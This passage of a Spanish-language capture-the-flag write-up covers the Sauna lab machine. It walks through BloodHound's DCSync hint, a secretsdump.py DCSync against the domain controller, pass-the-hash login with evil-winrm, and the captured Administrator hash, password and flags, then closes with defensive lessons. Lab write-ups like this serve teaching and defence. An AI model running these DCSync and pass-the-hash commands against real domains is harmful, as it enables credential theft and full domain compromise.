Pinchando con el botón derecho sobre la propia arista del grafo, BloodHound ofrece su ayuda contextual:

El menú contextual sobre la arista GetChangesAll del grafo, con la opción Help resaltada

La ventana de ayuda de GetChangesAll explicando que, junto a DS-Replication-Get-Changes, permite un ataque DCSync

Help: GetChangesAll        [Info | Abuse Info | Opsec Considerations | References]

The user SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL has the DS-Replication-Get-Changes-All
privilege on the domain EGOTISTICAL-BANK.LOCAL.

Individually, this edge does not grant the ability to perform an attack. However, in
conjunction with DS-Replication-Get-Changes, a principal may perform a DCSync attack.

La frase clave es "Individually, this edge does not grant the ability to perform an attack": hacen falta los dos derechos, y aquí el grafo muestra las dos aristas (GetChanges y GetChangesAll) desde svc_loanmgr hacia el dominio. La pestaña Abuse Info del propio BloodHound da el comando:

Abuse Info de GetChangesAll: ataque DCSync

Shell como Administrator

DCSync: abuso de GetChangesAll

GetChanges junto con GetChangesAll son, en esencia, los derechos que un Controlador de Dominio usa para replicarse con otro. Con ellos podemos pedir una replicación y que el DC nos entregue el hash NT de cualquier cuenta, incluida la de Administrator. Es el ataque DCSync, que secretsdump.py automatiza. Como ya tenemos la contraseña de svc_loanmgr, ni siquiera hace falta una shell:

secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175

secretsdump vuelca los hashes NT del dominio por DCSync

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
...

Tenemos el hash NT de Administrator: 823452073d75b9d1cf70ebdf86c7f98e.

Pass-the-Hash

No hace falta crackear nada: nos autenticamos con el hash usando Pass-the-Hash sobre WinRM.

evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Shell de evil-winrm como Administrator

Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator

Y la flag final:

type ..\Desktop\root.txt

root.txt leída como Administrator

d2a7dbea498e3b9dd60836a390d311d6

Dominio comprometido. Máquina rooteada.

Cadena de ataque

Toda la ruta, del primer nombre en la web al hash de Administrator, en un vistazo:

UDP 53/88/123 + TCP 88/389/445  ─►  es un Controlador de Dominio
  │  RPC/SMB anónimos: sesión aceptada, enumeración DENEGADA
  │  IPv6: menos puertos que IPv4 (teoría descartada)
  ▼
web "Meet The Team" + LDAP  ─►  nombres de empleados
  │  username-anarchy + kerbrute (2 válidos de 27)
  ▼
fsmith   (sin preauth)
  │  AS-REP Roasting  ─►  hashcat (Thestrokes23)  ─►  WinRM  ─►  user.txt
  ▼
winPEAS  ─►  credenciales de AutoLogon  (svc_loanmanager ≠ svc_loanmgr)
  ▼
svc_loanmgr
  │  SharpHound + BloodHound  ─►  GetChanges + GetChangesAll
  │  DCSync (volcado del NTDS)
  ▼
Administrator    (root.txt)  ◄─  Pass-the-Hash sobre WinRM

Lecciones aprendidas

  • En Active Directory, enumerar usuarios es media batalla. Sin una sola credencial, la web y LDAP nos dieron nombres reales, y username-anarchy los convirtió en samAccountName plausibles que Kerberos confirmó. La defensa no es ocultar los nombres (suelen acabar siendo públicos), sino que ninguna cuenta sea AS-REP roasteable ni tenga contraseñas de diccionario.
  • Autenticar no es enumerar. rpcclient, crackmapexec y smbclient aceptaron la sesión nula (Anonymous login successful, [+] EGOTISTICAL-BANK.LOCAL\:) y aun así devolvieron ACCESS_DENIED al listar. Son permisos distintos, y confundirlos lleva a descartar un servicio que todavía puede dar información.
  • AS-REP Roasting depende de una mala configuración concreta. Solo las cuentas con la preautenticación de Kerberos desactivada (DONT_REQ_PREAUTH) entregan un hash crackeable offline. No es un automatismo: hay que buscarlas. Una vez encontrada, el muro real es la fortaleza de la contraseña, y Thestrokes23 no lo era.
  • El clock-skew de nmap explica fallos que parecen mágicos. Siete horas de desfase superan de largo los cinco minutos que Kerberos tolera; cuando una herramienta que pide tickets falla sin motivo aparente, lo primero es mirar ese campo y sincronizar con ntpdate.
  • AutoLogon guarda la contraseña en claro en el registro. Es una comodidad cara: cualquiera con una shell en el equipo puede leer Winlogon y obtener credenciales de servicio. Si se necesita inicio automático, conviene usar cuentas gestionadas (gMSA) y nunca cuentas con privilegios delegados sobre el dominio.
  • DCSync es un control de integridad del dominio, no "una credencial más". GetChanges con GetChangesAll equivalen a poder replicar el NTDS completo; con ellos cae también el hash de krbtgt, y con krbtgt vienen Golden Tickets y persistencia total. Esos derechos solo deberían estar en los propios DC y en cuentas de replicación, nunca delegados a una cuenta de servicio como svc_loanmgr.
  • El nombre del registro no es el del usuario. Un detalle fácil de pasar por alto: el AutoLogon decía svc_loanmanager, pero el samAccountName era svc_loanmgr. Cotejar siempre contra C:\Users (o el propio AD) antes de dar por muerta una credencial que "no funciona".
Cheatsheet de comandos 20 comandos

Repaso rápido